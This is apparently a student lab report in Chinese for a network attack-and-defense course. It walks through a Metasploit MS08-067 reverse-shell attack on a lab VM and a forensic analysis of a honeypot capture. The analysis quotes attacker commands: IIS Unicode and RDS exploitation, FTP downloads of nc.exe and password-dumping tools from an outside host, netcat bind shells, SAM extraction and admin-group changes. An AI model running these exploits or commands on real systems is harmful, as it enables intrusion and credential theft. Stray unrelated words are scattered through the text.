问题 | 回答 |
---|---|
这个做业属于哪一个课程 | https://edu.cnblogs.com/campus/besti/19attackdefense |
这个做业的要求在哪里 | https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10612 |
我在这个课程的目标是 | 学习教材第七章,了解Windows操做系统的网络攻防技术 |
这个做业在哪一个具体方面帮助我实现目标 | 相关知识点和实践任务 |
Windows 操做系统的基本结构以下图所示, 分为运行于处理器特权模式 (ring 0)的操做系统内核,以及运行在处理器非特权模式 (ring 3)的用户空间代码。采用宏内核 (monolithic) 模式来进行架构,即大量的内核模块与设备驱动程序共享内核态内存空间, 这使得任意的内核模块或设备驱 动程序均可能破坏其余内核模块数据。
html
在上述系统架构下, Windows 操做系统内核中实现了以下的核心机制。mysql
Windows 操做系统基于引用监控器模型 (Reference Monitor) 来实现基本的对象安全
模型。引用监控器模型是安全操做系统设计的一种经典模型, 如图7-6所示, 系统中全部主体对客体的访问都经过引用监控器做为中介,由引用监控器根据安全访问控制策略来进行受权访问,全部访问记录也都由引用监控器生成审计日志。
web
其中最为核心的是位于内核中的 SRM 安全引用监控器, 以及位于用户态的 LSASS 安全服务。
sql
Windows操做系统中以安全主体概念来包含全部进行系统资源访问请求的实体对象,有用户、用户组和计算机三大类,对于每一个安全主体,以时间和空间上都全局惟一的SID安全标识符来进行标识;Windows为每一个用户和计算机设置帐户进行管理,本地Administrator和SYSTEM帐户拥有最高权限;Windows支持本地身份认证和网络身份认证两种方式,分别对在本地系统登陆和远程网络访问的主体进行合法性验证。
shell
Windows的受权与访问控制机制是基千引用监控器模型,由内核中的 SRM 模块与用 户态的 LSASS 服务共同来实施,由SRM做为安全主体访间对象资源时的中介,根据设定的访问控制列表进行受权访问。
数据库
系统审计策略在本地安全策略中由系统管理员定义,来肯定系统对哪些事件进行记录,LSASS服务将保存审计策略,并在对象启动审计功能后,在对象安全描述符中的 SACL 列表中进行保存;SRM安全引用监控器在进行对象访问受权时,也将依据对象的 SACL 列表配置,对指定的对象访问和操做事件进行审计记录,发送给 LSASS 服务;由 LSASS 服务补充审计记录细节信息后,再将这些审计记录发送给 EventLog 事件日志服务;EventLog 服务最后将事件日志写入日志文件中,并经过事件查看器工具展现给系统管理员windows
Windows 安全中心(防火墙、补丁、病毒防御),IPsec加载和验证机制,EPS加密文件系统,文件保护机制,捆绑的IE浏览器所提供的隐私保护和浏览器安全保护机制等。api
Windows 远程攻击技术能够分为如下几大类:远程口令猜想与破解攻击,攻击 Windows 网络服务,攻击 Windows 客户端及用户。浏览器
其中包括针对NETBIOS服务的攻击(Windows局域网联网的基本支持,基本输入/输出系统);针对SMB服务的攻击(文件与打印共享);针对MSRPC服务的攻击(远程过程调用);针对Windows系统上微软网络服务的攻击(微软公司提供的网络服务);针对Windows系统上第三方网络服务的攻击(第三方公司提供的网络服务)安全
在利用远程渗透攻击技术获取到Windows系统的访问权以后,攻击者下一步的目标就是破解本地程序安全漏洞,进行特权提高以取得系统的完整控制权,并在系统中窃取口令等敏感信息扩大战果,进一步掩踪灭迹,植入远程控制后门程序以维护对系统的长期控制。
在攻击者得到Windows系统上的受限用户权限以后,他们将当即若眼千得到终极特权: Administrator 或 Local System 帐户。从受限用户权限尝试得到特权帐户的攻击技术也被称为特权提高(PrivilegeEscalation), 业内简称为“提权”。Windows系统上进行特权提高的攻击途径中要是经过DLL注入和破解本地程序安全漏洞。
Windows系统中最吸引攻击者的敏感信息首先是本地保存的各类口令字, 攻击者一旦破译了这些口令字, 他们就颇有可能利用这些口令,来尝试登陆本地网络或目标用户其余的系统资源。其中包括包括windows系统口令字密文提取技术、windows系统口令字破解技术、用户敏感信息窃取等手段。防范措施包括:使用安全度高、能抵挡破解的口令
在攻击者得到 Windows 系统的 Administrator 权限, 并窃取了他所感兴趣的敏感信息以后,攻击者会想尽一切办法来避免被人觉察他们的存在。他们会把各类入侵的痕迹进行删除或者掩盖,使得系统的用户或管理员没法意识到系统已被攻陷,从而保证攻击者对系统的长期控制。其中包括关闭审计功能和清理事件日志,其中防范措施包括实现配置好系统审计和网络服务审计功能,并将日志传输到安全服务器中。
攻击者在目标系统上完成提权、信息窃取、掩踪灭迹等任务以后,为了确保之后可以方便地登陆到这台已被攻陷与控制的系统主机,他们还会在系统中植入远程控制和后门程序,维持对这台主机持久的控制权。
攻击者每每会在受控的系统中自主植入第三方的远桯控制与后门程序,主要分为命令行远程控制工具、图形化远程控制工具这两大类。防范措施包括采用一些后门检测软件来尝试发现攻击者隐藏的后门程序。
任务:使用 Metasploit 软件进行 Windows 远程渗透攻击实验。
具体任务内容:使用 WindowsAttacker/BT4 攻击机尝试对 Windows Metasploitable 靶机上的 MS08-067 漏洞进行远程渗透攻击,获取目标主机访问权。
实践步骤:
本次实践所使用虚拟机为 kail 和 Windows Metasploitable ,ip地址以下表所示
主机名称 | ip地址 |
---|---|
kail | 192.168.200.3 |
windows | 192.168.200.124 |
在kali终端中开启msfconsole
,输入命令search ms08_067
,会显示出找到的渗透模块,以下图所示
输入命令use exploit/windows/smb/ms08_067_netapi
,进入该漏洞模块的使用。
输入命令show payload
会显示出有效的攻击载荷(即渗透代码),以下图所示,咱们找到一个3号载荷 shell_reverse_tcp (反向tcp)并使用它
使用命令set payload generic/shell_reverse_tcp
设置攻击有效载荷。同时使用命令show options
显示咱们须要在攻击前须要设置的数据,LHOST 和 RHOST,分别为目标主机连接的IP地址(攻击机ip)和远程主机或者目标主机的IP地址
使用命令
set LHOST 192.168.200.3 set RHOST 192.168.200.124
并使用命令show options
再次查看payload状态。
输入命令exploit
开始攻击,显示command shell session 数字 open
,表示攻击成功,输入任意值后进入远程控制界面(ps:显示的乱码是由于靶机 shell 中部分提示是以中文的形式给出的,可是个人 kail 没有安装中文数据包,因此显示乱码)
测试一下,使用命令mkdir success
在当前目录下建立success文件夹,在靶机中查看发现建立成功
攻击成功
经过net user
查看用户组中的用户,发现当前用户极大几率是Guest(游客)用户,在靶机上经过命令net user Guest
查看用户Guest的详细信息(不直接在kail上查看主要由于是个人 kail 没有中文数据包,显示的都是乱码),发现该用户上次登录时间与我正在攻击的时间相符合,因此得到的权限应该是游客权限(因为这是后来想到的,因此验证时候又进行了一次攻击,因此显示时间与前面的演示步骤的时间有一点差距)
来自213.116.251.162的攻击者成功攻陷了一台巾 rfp 部署的蜜罐主机172.16.1.106 (主机名为:lab. wiretrip.net). 这是一次很是典型的针对NT系统的攻击,并且找们有理由相信攻击者最终识别了蜜罐主机,所以这将是一个很是有趣的案例分析挑战。
你的分析数据源只有包含整个攻击过程的二进制记录文件, 而你的任务就是从这个文件中提取并分析攻击的所有过程。
首先经过 snort 对网络日志文件进行已知入侵方法的检测,生成的alert文件能够提供不少有用的线索
使用命令行snort -r snort-0204@0117.log -c /etc/snort/snort.conf -K acsii
,在在/var/log/snort/目录下能够查找到alert文件
总共有317条报警信息,其中共有8种报警信息
web目录遍历报警
web 403 访问限制错误消息
msadcs.dll访问,该DLL存在已知的安全漏洞
MDAC溢出攻击尝试
cmd.exe 远程 shell 访问
nc.exe后门程序访问
ping探测
目录列举
其中web 目录遍历报警和 MADC 溢出攻击尝试是比较重要的,根据所给的提示信息上网搜索能够发现 IIS 的两个安全漏洞,分别是 Unicode 漏洞(MS00-078/MS01-026)和 MDAC RDS漏洞(MS02-065)。
经过以上分析,攻击者极可能利用了 IIS 的上述两个安全漏洞攻陷了蜜罐主机,并经过 nc 构建了远程链接
攻击者使用了什么破解工具进行攻击?
经过以上分析咱们大概已经有了一个轮廓,下面经过 wireshark 对 log 文件进行更细致的分析
首先经过ip地址筛选会话ip.addr == 213.116.251.162 && ip.addr == 172.16.1.106
,发现攻击者在一开始进行了http访问,访问了蜜罐主机的网页,他的User-Agent(用户代理)字段为 Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0),能够推测出攻击主机应为 NT5.0 系统,安装了 MSIE 5.01 和 Hotbar 2.0 插件,而蜜罐主机则安装了IIS4.0服务组件
紧接着在117编号的数据包内能够发现,在访问了这个页面后,攻击者打开了系统启动文件boot.ini
,而这里存在一个比较特殊的字符%C0%AF
,在查阅网上的资料后,根据IIS的Unicode漏洞攻击这篇博客可知,%C0%AF
为字符/
的Unicode编码,因此很可能攻击者利用了 Unicode解析错误漏洞,结合博客所给的测试是否存在Unicode漏洞的字段为 winnt/system32/cmd.exe?/c+dir
,而 log 文件中也能找到相应字段,所以能够判定攻击使用了这类漏洞
随后在编号130和140的数据包发现了msadc
字段,根据GET /msadc/msadc.dll HTTP
字段能够推测攻击者探测了蜜罐主机是否存在 MSADCS RDS 漏洞,紧接着在编号149的数据包内追踪tcp流,能够发现攻击者利用RDS漏洞进行了SQL注入攻击,尝试执行cmd /c echo werd >> c:\fun
命令。
发现ADM!ROX!YOUR!WORLD
字符串比较有趣,上网查询,发现这是一个名为msadc(2).pl的工具发起的攻击
至此咱们能够知道攻击者使用了 Unicode漏洞和 msadc(2).pl工具发起了攻击
攻击者如何使用这个破解工具进入并控制了系统?
从会话1778-80
(编号179)开始,攻击者进行了一系列的攻击动做,
1778-80:cmd /c echo user johna2k > ftpcom 1780-80:cmd /c echo hacker2000 > ftpcom 1782-80:cmd /c echo get samdump.dll > ftpcom 1784-80:cmd /c echo get pdump.exe > ftpcom 1786-80:cmd /c echo get nc.exe > ftpcom 1791-80:cmd /c ftp -s:ftpcom -n www.nether.net
上述指令的意思是攻击者首先建立了一个ftpcom脚本,并使用 ftp 链接www.nether.net(给出了用户名密码),尝试下载 samdump.dll、pdump.exe和nc.exe(攻击工具)。继续查看会话1791-80以后出现了蜜罐主机与该网站的ftp链接,网站的IP为204.42.253.18。经过追踪TCP流发现,这个链接因为口令错误致使链接失败。说明此次攻击是一个失败的攻击。
接着往下看
//试图运行pdump.exe,破解sam中的口令密码,结果输出到new.pass中,但以前没有成功下载pdump,失败 1793-80:cmd /c pdump.exe>>new.pass 1795-80:cmd /c echo userjohna2k > ftpcom2 1797-80:cmd /c echo hacker2000>>ftpcom2 1799-80:cmd /c put new . pass>>ftpcom2 1801—80:cmd /c echo quit>>ftpcom2 ” ) 1803-80:cmd /c ftp -s : ftpcom2 – n www.nether.net” ) 1808-80:cmd /c ftp 213.116.251.162 ” )
能够看到攻击者建立了另外一个脚本ftpcom2,试图将破解的口令new.pass上传到FTP上,但一样因为登录口令错误没有成功
后面的基本上大同小异,都是攻击者不断编写脚本,尝试从www.nether.net下载工具到蜜罐主机,固然无一例外因为他编写的脚本问题都失败了。在通过屡次RDS攻击失败后,于会话1874-80开始,攻击者转向Unicode攻击
1874-80: copy C:\winnt\system32\cmd.exe cmd1.exe 1875-80: cmd1.exe /c open 213.116.251.162 >ftpcom 1876-80: cmd1.exe /c echo johna2k >>ftpcom 1877-80: cmd1.exe /c echo haxedj00 >>ftpcom 1879-80: cmd1.exe /c echo get nc.exe >>ftpcom 1880-80: cmd1.exe /c echo get pdump.exe >>ftpcom 1881-80: cmd1.exe /c echo get samdump.dll >>ftpcom 1882-80: cmd1.exe /c echo quit >>ftpcom 1885-80: cmd /c ftp –s:ftpcom
此次终于成功,蜜罐主机链接213.116.251.162 (攻击者本身的主机)下载了所指定的这些文件,并经过nc构建了一个远程shell通道
在下载完文件以后,攻击者执行了这样一条命令1887-80: cmd1.exe /c nc -l -p 6969 -e cmd1.exe
。表示攻击者链接了6969端口,得到了访问权限,并建立了一个交互式控制界面。至此,攻击者完成了进入系统而且得到访问权的过程。
当攻击者得到系统的访问权后作了什么?
首先追踪一下tcp流
接下来简要的说一下攻击者的行为
首先攻击者进行了一些查看文件和权限,删除脚本等经常使用操做
而后攻击者尝试使用pdump直接从注册表中提取口令密文,可是失败了
cmd / c pdump.exe >> c : yay.txt cmd / c net session >> yay2.txt cmd / c net users >> heh.txt cmd / c net users >> c : heh.txt
而后攻击者尝试信息收集,net session(列出会话),可是没有权限,而后执行net users,返回该主机的用户列表
接下来攻击者发了一个echo消息到C盘根目录文件
接着尝试经过net group
查看组用户、net localgroup
查看本地组用户、以及 net group domain admins
,然而这些都失败了。
接下来攻击者尝试使用net命令将 IUSR/IW 帐户加入 “Domain Admins”,由于其不属于本地管理员组,故失败
net localgroup Domain Admins IWAM_KENNY/ ADD net localgroup Domain Admins IUSR_KENNY/ ADD
而后尝试将其加入本地管理员组,执行以下命令,成功
接下来,攻击者开始寻找msadc目录,咱们发现做者又一次执行pdump来导出口令密文,可是仍是以失败了结。
攻击者放弃了pdump
提取Administrator
口令密文的企图。攻击者删除了samdump
和pdump
攻击者转而使用rdisk
尝试得到SAM
口令文件(安全帐号管理器),rdisk
是磁盘修复程序,执行rdisk /s-
(攻击者一开始输入错误,最后经过RDS输入成功)备份关键系统信息,在/repair目录中就会建立一个名为sam._
的SAM
压缩拷贝。而且攻击者把这个文件保存到har.txt并在屏幕打印出来,可是这致使了 shell 窗口不可用
接着攻击者在会话1987->80
进行了Unicode攻击,而且从新链接了一个端口6968(6969端口失效了),执行指令为nc -l -p 6968 -e cmd1.exe
继续追踪TCP流发现攻击者首先将SAM文件拷贝至IIS的根目录 inetpub,攻击者获取该文件后,尝试删除,但由于锁定没有成功。而后攻击者把其余盘符看了一遍以后,退出了这个shell链接。
接下来攻击者在会话2007->80
进行了Unicode攻击,而且从新链接了一个端口6868,执行指令为nc -l -p 6868 -e cmd1.exe
。可是至此开始,攻击者的IP地址变成了202.85.60.156。
能够发现攻击者建立了一个test.txt
文件,内容为This can't be true
,并echo . >> default.htm
篡改了首页。随后exit退出了当前的shell,而后跟随这个数据包往下,咱们能够发现有不少其余的 IP 地址访问了新建立的 test.txt 文件。
接着往下看,咱们能够看到不少ftp服务,经过追踪流发现,攻击者应该是上传了获得的whisker.tar.gz
文件,ftp服务结束,发现攻击者继续进行了一个 Unicode 攻击,指令为del ftpcom
,也就是删除了 ftpcom 脚本文件,攻击者这一步是为了清除痕迹。到此,整个攻击结束。
咱们如何防止这样的攻击
你以为攻击者是否警觉了他的目标是一台蜜罐主机?若是是, 为何?
攻击者发现了这是一台蜜罐主机,由于攻击者留下了这样的信息。
攻防对抗实践内容:攻击方Metasploit Windows Attack, 防护方:wireshark捕获攻击流,分析出攻击哪一个安全漏洞,从官方网站上下载该安全漏洞补丁进行修补,给出攻防过程报告。
攻击方: 使用metasploit,选择metasploitable中的漏洞进行渗透攻击,得到控制权。
防守方: 使用 tcpdump/wireshark/snort 监听得到网络攻击的数据包文件,并结合 wireshark/snort 分析攻击过程,获取攻击者IP地址、目标IP和端口、攻击发起时间、 攻击 利用漏洞、攻击使用shellcode,以及攻击成功以后在本地执行的命令输入等信息。
团队共同合做完成渗透攻击与分析实验报告。
攻击过程与2.1中的攻击相同,这里主要演示防护过程,因为靶机上没有 wireshark 工具,因此在攻击机上打开 wireshark 捕捉数据包
咱们发现攻击机向靶机发送了许多SMB数据包,而 MS08-067 漏洞是经过MSRPC over SMB
通道调用Server
服务程序中的NetPathCanonicalize
函数时触发的。MS08-067的漏洞原理可参考MS08-067漏洞原理及详尽分析过程
经过此次学习和实践初步了解了对 Windows 操做系统的攻击过程,可是因为基础较差,取证分析实践过程还有许多不完善的地方,之后还要多多学习。
案例演示-分析 NT 系统破解攻击
网络攻防技术与实践
MS08_067漏洞渗透攻击实践
MS08-067漏洞原理及详尽分析过程
知已知彼 Windows 系统常见漏洞分析
NT4.0下的msadcs.dll漏洞的利用
IIS的Unicode漏洞攻击